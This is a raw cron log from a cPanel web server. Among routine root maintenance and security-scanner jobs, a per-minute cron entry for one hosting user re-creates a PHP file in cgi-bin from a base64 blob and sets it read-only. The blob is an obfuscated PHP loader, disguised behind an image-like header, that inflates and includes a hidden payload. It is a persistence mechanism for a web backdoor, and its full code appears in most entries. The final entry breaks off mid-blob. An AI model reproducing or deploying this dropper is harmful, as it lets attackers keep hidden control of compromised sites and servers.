Aug 30 08:05:01 server CROND[25205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:05:01 server CROND[25222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:05:01 server CROND[25232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:05:01 server CROND[25239]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 08:05:01 server CROND[25242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:05:01 server CROND[25244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:05:01 server CROND[25240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:05:01 server CROND[25243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:05:01 server CROND[25241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:06:01 server CROND[26077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:06:01 server CROND[26078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:06:01 server CROND[26080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:07:01 server CROND[26463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:07:01 server CROND[26464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:07:01 server CROND[26471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:08:01 server CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:08:01 server CROND[26857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:08:01 server CROND[26858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:09:01 server CROND[27240]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 08:09:01 server CROND[27241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:09:01 server CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:09:01 server CROND[27242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:10:01 server CROND[27788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:10:01 server CROND[27791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:10:01 server CROND[27793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:10:01 server CROND[27796]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:10:01 server CROND[27797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:10:01 server CROND[27795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:10:01 server CROND[27799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:10:01 server CROND[27800]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:11:01 server CROND[28624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:11:01 server CROND[28626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:11:01 server CROND[28627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:12:01 server CROND[29004]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:12:01 server CROND[29005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:12:01 server CROND[29007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:12:01 server CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:13:01 server CROND[29397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:13:01 server CROND[29398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:13:01 server CROND[29399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:14:01 server CROND[29797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:14:01 server CROND[29798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:14:01 server CROND[29799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:15:01 server CROND[30335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:15:01 server CROND[30337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:15:01 server CROND[30339]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 08:15:01 server CROND[30340]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 08:15:01 server CROND[30345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:15:01 server CROND[30344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:15:01 server CROND[30346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:15:01 server CROND[30343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:15:01 server CROND[30342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:16:01 server CROND[31221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwF